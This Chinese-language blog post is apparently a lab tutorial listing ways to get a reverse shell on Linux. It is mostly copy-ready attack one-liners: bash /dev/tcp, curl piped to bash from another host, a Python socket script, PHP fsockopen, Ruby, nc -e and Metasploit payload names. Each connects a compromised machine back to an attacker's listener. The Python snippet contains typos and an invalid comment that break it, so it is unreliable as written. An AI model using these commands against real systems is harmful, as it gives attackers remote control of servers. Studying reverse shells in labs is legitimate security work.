Liunx反弹shell的几种方式

什么是反弹 shell?

简单理解,通常是我们主动发起请求,去访问服务器(某个 IP 的某个端口),比如我们常访问的 web 服务器:http(https)://ip:80,这是因为在服务器上面开启了 80 端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网 vps 建立监听,然后让服务器反弹一个 shell 来连接我们自己的主机,然后我们就能通过反弹的 shell 去远程控制服务器了。


实验环境

kali 192.168.1.16
kali 192.168.1.13
方法 1:使用 linux 命令反弹 shell
1
反弹shell命令格式如下:bash -i >& /dev/tcp/ip/port 0>&1

先在要反弹回来 shell 的 16 上面 监听随便一个未开放的端口 且防火墙允许访问的

然后再被攻击机 13 上面执行命令

看见成功反弹 shell

 

 第二种思路 curl 命令反弹 shell  公网 vps 放 shell 脚本 

kali 192.168.1.16
kali 192.168.1.13
windows 192.168.1.12

第一步 公网 vps 上面放 bash 脚本  

 

 第二步 被攻击机 执行命令

1
curl 192.168.1.12/bash |bash

 然后 shell 就反弹回来了

关于 反弹 shell 命令解析 看卿先生博客园(很细 )

1
https://www.cnblogs.com/-qing-/p/11247720.html

 python 反弹 shell

1
2
3
4
5
6
7
import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接
s.connect(("192.168.1.12",7111))#你要回shell的机子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

 

反弹 shell

PHP 反弹 shell

<?php
$sock=fsockopen("192.168.43.151",7777);//自己的外网 ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ruby 反弹 shell

 

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 

 

 

 

 下面是直接用的 msf 反弹

java 反弹

直接贴 msf 了

use payload/java/shell/reverse_tcp

 

lua 反弹

use payload/cmd/unix/reverse_lua

 

 NC 反弹

 

1
nc -e /bin/bash 192.168.1.16 7111

 

 

 

 


__EOF__

  • 本文作者: Nolan
  • 本文链接: https://www.cnblogs.com/-zhong/p/11398877.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。